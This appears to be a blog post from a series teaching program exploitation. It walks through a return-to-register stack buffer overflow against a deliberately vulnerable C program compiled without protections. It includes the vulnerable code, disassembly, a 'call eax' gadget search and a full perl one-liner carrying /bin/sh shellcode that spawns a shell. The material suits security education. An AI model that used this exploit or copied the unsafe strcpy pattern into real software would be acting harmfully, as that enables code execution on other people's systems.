Return-to-register

(This is part of my series on program vulnerability exploitation.)

We saw in the previous post what a shellcode was, and studied one in detail. We also discussed the basic idea of what we want to do with it: write it in memory, and have the processor execute it. The first part is easy: since a shellcode is just a string of bytes, we can pass it to a vulnerable program like we would any other string. The second part is where the challenge is. In this post, we will see one way to do it, which is very simple but works only under very favourable conditions.

The program we will exploit is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *s)
{
    char buffer[64];
    strcpy(buffer, s);
}

int main(int argc, char **argv)
{
    if (argc == 1) {
        fprintf(stderr, "Enter a string!\n");
        exit(EXIT_FAILURE);
    }
    vuln(argv[1]);
}

As you might have guessed, we will first write our shellcode in buffer, then some random data until we reach the return address, and then overwrite the return address with something that will make the processor run our shellcode. And again the challenge is what exactly to write as a return address.

After disassembling the program, we make two key observations. First, from the code of vuln():

$ gcc -m32 -std=c99 -O0 -fno-stack-protector -z execstack -pedantic -Wall -Wextra -o vuln4 vuln4.c
$ objdump -d vuln4 | nl 
[...]
   117  08048464 <vuln>:
   118   8048464:       55                      push   ebp
   119   8048465:       89 e5                   mov    ebp,esp
   120   8048467:       83 ec 58                sub    esp,0x58
   121   804846a:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
   122   804846d:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
   123   8048471:       8d 45 b8                lea    eax,[ebp-0x48]
   124   8048474:       89 04 24                mov    DWORD PTR [esp],eax
   125   8048477:       e8 f4 fe ff ff          call   8048370 <strcpy@plt>
   126   804847c:       c9                      leave  
   127   804847d:       c3                      ret    
[...]

we see that at the end of the execution of the function, the register eax will contain the address of buffer. This gives us an idea: if, somewhere in the program, there was an instruction call eax or jmp eax, then we could write the address of that instruction as our return address. The processor would then jump to it, which would cause it to jump right on our shellcode. And sure enough:

$ objdump -d vuln4 | grep "call.*eax"
 8048418:       ff 14 85 1c 9f 04 08    call   DWORD PTR [eax*4+0x8049f1c]
 804845f:       ff d0                   call   eax
 804857b:       ff d0                   call   eax

so we will write 0x0804845f as our return address. The rest is routine, and we obtain

$ ./vuln4 $(perl -e 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" . "1"x38 . "\x5f\x84\x04\x08"')
sh-4.2$ 

Leave a Reply

Your email address will not be published. Required fields are marked *